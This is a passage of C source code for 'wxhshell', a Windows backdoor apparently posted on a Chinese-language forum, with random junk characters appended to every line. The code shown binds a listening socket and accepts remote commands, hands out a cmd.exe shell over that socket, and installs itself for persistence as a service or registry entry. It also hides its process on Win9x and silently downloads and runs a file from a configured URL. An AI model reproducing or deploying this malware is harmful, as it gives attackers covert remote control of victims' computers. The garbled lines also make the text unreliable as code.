    switch(cmd[0]) { ppzQh1  
  y85R"d  
  // 帮助 6|Xe ],u  
  case '?': { s"B2Whe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e\r%"~v  
    break; ?@CbaX~+K  
  } l;i /$Yu7  
  // 安装 -mw`f)?Ev  
  case 'i': { p((a(Q/  
    if(Install()) -_ <z_IL\%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qylI/,y{  
    else ip!-~HNwJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +F+M[ef<ws  
    break; ,-[z?dvO  
    } D|$Fw5!^k6  
  // 卸载 y_r(06"z1  
  case 'r': { (!%9#  
    if(Uninstall()) 9PdD=9HH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ziC%Q8  
    else CaR-Yk   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IPf>9#L  
    break; v n4z C  
    } V6Y0#sTU  
  // 显示 wxhshell 所在路径 CD[}|N  
  case 'p': { (nAL;:$x2  
    char svExeFile[MAX_PATH]; GQ2/3kt  
    strcpy(svExeFile,"\n\r"); ym_p49  
      strcat(svExeFile,ExeFile); tmi)LRF H  
        send(wsh,svExeFile,strlen(svExeFile),0); u(i=-PN_<  
    break; i!EAs`$o`  
    } {r'+icvLX  
  // 重启 X}H?*'-  
  case 'b': { U=PTn(2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^@^K <SVc  
    if(Boot(REBOOT)) `T{'ufI4B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hlmeT9v{  
    else { @MO/LvD  
    closesocket(wsh); V.Tn1i-v  
    ExitThread(0); &O#,"u/q`  
    } |#yH,f  
    break; .F G%QFF~  
    } us+z8Mz  
  // 关机 H*Tzw,f~ v  
  case 'd': { nF$HWp&gt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :0Z\-7iK  
    if(Boot(SHUTDOWN)) ih-J{1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'qJ0338d#U  
    else { \rd%$hci  
    closesocket(wsh); e~7FK_y#0  
    ExitThread(0); r1:CHIwK  
    } j4I ~  
    break; 3OFI> x,h  
    } bEln.)  
  // 获取shell o59b#9  
  case 's': { KwU;+=_.  
    CmdShell(wsh); SDB \6[D  
    closesocket(wsh); fbD,\ rjT  
    ExitThread(0); zl( o/n  
    break; U~USwUzgY  
  } t&Q(8Hz  
  // 退出 :w+vi 7l$  
  case 'x': { B<i(Y1n[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LosRjvQ:  
    CloseIt(wsh); #k?.dWZ!  
    break; 83 <CDjD  
    } +P8CC fPu  
  // 离开 qsQ{`E0  
  case 'q': { ]|tR8`DGZ%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5z =}o/?  
    closesocket(wsh); ka6E s~  
    WSACleanup(); NfnPXsad  
    exit(1); @T:J<,  
    break; i&?\Pp;5-j  
        } c g)> A  
  } 9 p{n7.  
  } z%#-2&i  
L^*f$Balz  
  // 提示信息 zw+RDo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M\-[C!h,  
} b3FKDm[  
  } R:$E'PSx  
b b.UtoPz  
  return; ~(8fUob  
} >lKu[nq;  
8&M<?oe  
// shell模块句柄 ="v`W'Pd  
int CmdShell(SOCKET sock) O-[  
{ r}es_9*~Z  
STARTUPINFO si; YC')vv3o(  
ZeroMemory(&si,sizeof(si)); 7'"qW"<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ptrwZ8'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4wkv#vi7!-  
PROCESS_INFORMATION ProcessInfo; ^RO<r}B u  
char cmdline[]="cmd"; } C:i0Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `hdff0  
  return 0; 1YQYZ^11  
} AwjXY,2  
ZuybjV1/f6  
// 自身启动模式 [N Afy~X*  
int StartFromService(void) rZ|p{ym  
{ )z\#  
typedef struct v bn=ywz  
{ Xdx8HB@L  
  DWORD ExitStatus; Ar[|M 2|  
  DWORD PebBaseAddress; tH4 q*\U  
  DWORD AffinityMask; _ xTpW  
  DWORD BasePriority; qZ'2M.;  
  ULONG UniqueProcessId; qxDMDMN  
  ULONG InheritedFromUniqueProcessId; "T{WOGU+  
}   PROCESS_BASIC_INFORMATION; Km $o@  
g(W+[kj)  
PROCNTQSIP NtQueryInformationProcess; tjt^R$[@  
pS |K[:5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;N?(R\* 8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (WJ)!  
<D3mt Q  
  HANDLE             hProcess; \8=)X})  
  PROCESS_BASIC_INFORMATION pbi; `FQ]ad Fz  
>~nr,V.q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yvj/u c  
  if(NULL == hInst ) return 0; <g%A2 lI  
Jx~H4y=z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .|^Gde  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,dR.Sac v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z=) m6\  
9I]Bt=2z  
  if (!NtQueryInformationProcess) return 0; c8YbBdk'  
qFwt^w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); icIn>i<m  
  if(!hProcess) return 0; Zp3-Yo w2  
Jw8?o/1D@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }x\#ul)  
eA86~M?<o  
  CloseHandle(hProcess); ; cvMNU$fN  
bj}Lxc],  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RrvC}9ar  
if(hProcess==NULL) return 0; IHdA2d?.]  
,|s*g'u  
HMODULE hMod; bsDA&~)s  
char procName[255]; ((+XzV>  
unsigned long cbNeeded; r'jUB^E  
&>C+5`bg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "WuUMt  
cI'n[G  
  CloseHandle(hProcess); xi(1H1KN5B  
'fl< ac,.  
if(strstr(procName,"services")) return 1; // 以服务启动 RSh_~qMX  
OPDT:e86Y=  
  return 0; // 注册表启动 zmGHI! tP  
} n|)((W  
Hp04apM:  
// 主模块 s$isDG#Sr  
int StartWxhshell(LPSTR lpCmdLine) Y&j`HO8f  
{ m9A%Z bQ^  
  SOCKET wsl; D\&S {  
BOOL val=TRUE; 84.L1|k  
  int port=0; Mq)]2>"v  
  struct sockaddr_in door; (87| :{  
%]&$VVVh  
  if(wscfg.ws_autoins) Install(); qvSYrnpn  
:Q>e54]'&  
port=atoi(lpCmdLine); p$9Aadi]  
/ Qd` ?  
if(port<=0) port=wscfg.ws_port; 6vsA8u(|V#  
eZAMV/]jH  
  WSADATA data; '0+~]4&}q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pQBn8H|Y  
tngB;9c+w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n}.e(z_"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Hs'~) T  
  door.sin_family = AF_INET; n H?6o#]N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \hgd&H0UU  
  door.sin_port = htons(port); P0}{xq'k9v  
9>w~B|/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3\@2!:>  
closesocket(wsl); &Y?t  
return 1; 88v8lt;R  
} 0>Snps3*Z  
`!Z?F]):G  
  if(listen(wsl,2) == INVALID_SOCKET) { <`uu e  
closesocket(wsl); [oV M9 Q  
return 1; Pd~=:4  
} 2$5">%?  
  Wxhshell(wsl); +FqD.=8  
  WSACleanup(); >-I <`y-H  
4T(d9y  
return 0; O*l,&5  
}x`Cnn  
} H]R/=OYBUh  
GNMOHqg4  
// 以NT服务方式启动 [w'Q9\,p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |-}. Y(y  
{ NplyvjQN;  
DWORD   status = 0; &M}X$k I  
  DWORD   specificError = 0xfffffff; 5OI.Ka  
B1)Eo2i#  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  Fb(@i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _x<NGIz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g77M5(ME  
  serviceStatus.dwWin32ExitCode     = 0; sQ#e 2  
  serviceStatus.dwServiceSpecificExitCode = 0; hz4?ku  
  serviceStatus.dwCheckPoint       = 0; s6 g"uF>k  
  serviceStatus.dwWaitHint       = 0; [[IMf-]  
Pl/ dUt_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c EYHB1*cT  
  if (hServiceStatusHandle==0) return; hU""YP ~y  
AhN3~/u%7  
status = GetLastError(); V'j+)!w5  
  if (status!=NO_ERROR) xKSQz  
{ %m |I=P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ZX:rqc  
    serviceStatus.dwCheckPoint       = 0; }4YzP 4  
    serviceStatus.dwWaitHint       = 0; HXa[0VOx  
    serviceStatus.dwWin32ExitCode     = status; 7x6 M]1F  
    serviceStatus.dwServiceSpecificExitCode = specificError; adP  :{j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lmte ~oBi  
    return; *yRsFC{,  
  } Dm)B? H"  
W]oD(eZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z)^|.  
  serviceStatus.dwCheckPoint       = 0; 2/*u$~  
  serviceStatus.dwWaitHint       = 0; ":udoVS!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JLE&nbKS  
} 5U~KYy^v  
hi[nUG(OI  
// 处理NT服务事件,比如:启动、停止 '|SO7}`;Q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :Ph>\aG  
{ "V>}-G&  
switch(fdwControl) %i9 e<.Ot  
{ |MZ1j(_  
case SERVICE_CONTROL_STOP: T ?[28|  
  serviceStatus.dwWin32ExitCode = 0; h+1|.d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; skcyLIb  
  serviceStatus.dwCheckPoint   = 0; `MSig)V  
  serviceStatus.dwWaitHint     = 0; cuQ!"iH  
  { &!CVF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 754MQK|g  
  } T o["o!(;z  
  return; }d?;kt  
case SERVICE_CONTROL_PAUSE: GJ*IH9YR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O%T?+1E  
  break; " !EnQB=  
case SERVICE_CONTROL_CONTINUE: M_ukG~/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o0R?vnA=  
  break; ur}'Y^0iR  
case SERVICE_CONTROL_INTERROGATE:  B(;MI`  
  break; 5I2,za&e  
}; Gw<D'b)!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^Lgvey%  
} e-ta7R4  
-"I$$C  
// 标准应用程序主函数 j hm3:;Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,' | J  
{ s-"KABEE  
_Z0 .c@0  
// 获取操作系统版本 +06{5-,  
OsIsNt=GetOsVer(); <YU?1y?V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^L2d%d\5  
Hx gC*-A$/  
  // 从命令行安装 s6|'s<x"j  
  if(strpbrk(lpCmdLine,"iI")) Install();  :RnUNz  
4,sE{%vb  
  // 下载执行文件 cz9J&Le>  
if(wscfg.ws_downexe) { 0~ho/_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zzf@U&x<  
  WinExec(wscfg.ws_filenam,SW_HIDE); E#KZZ lbx  
} r W`7<3  
5 b} w  
if(!OsIsNt) { S&!(h {O  
// 如果时win9x,隐藏进程并且设置为注册表启动 jKml:)k  
HideProc(); ?kO.>o  
StartWxhshell(lpCmdLine); g5nJ0=9  
} +LRKS  
else b e8T<F  
  if(StartFromService()) 0/su`  
  // 以服务方式启动 {nKw<F2  
  StartServiceCtrlDispatcher(DispatchTable); :|W=2( >  
else UT\4Xk<  
  // 普通方式启动 /yG7!k]Eg  
  StartWxhshell(lpCmdLine); 12Oa_6<\0;  
m%[e_eS  
return 0; t.9s49P  
}
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只看该作者 1 发表于: 2006-10-10
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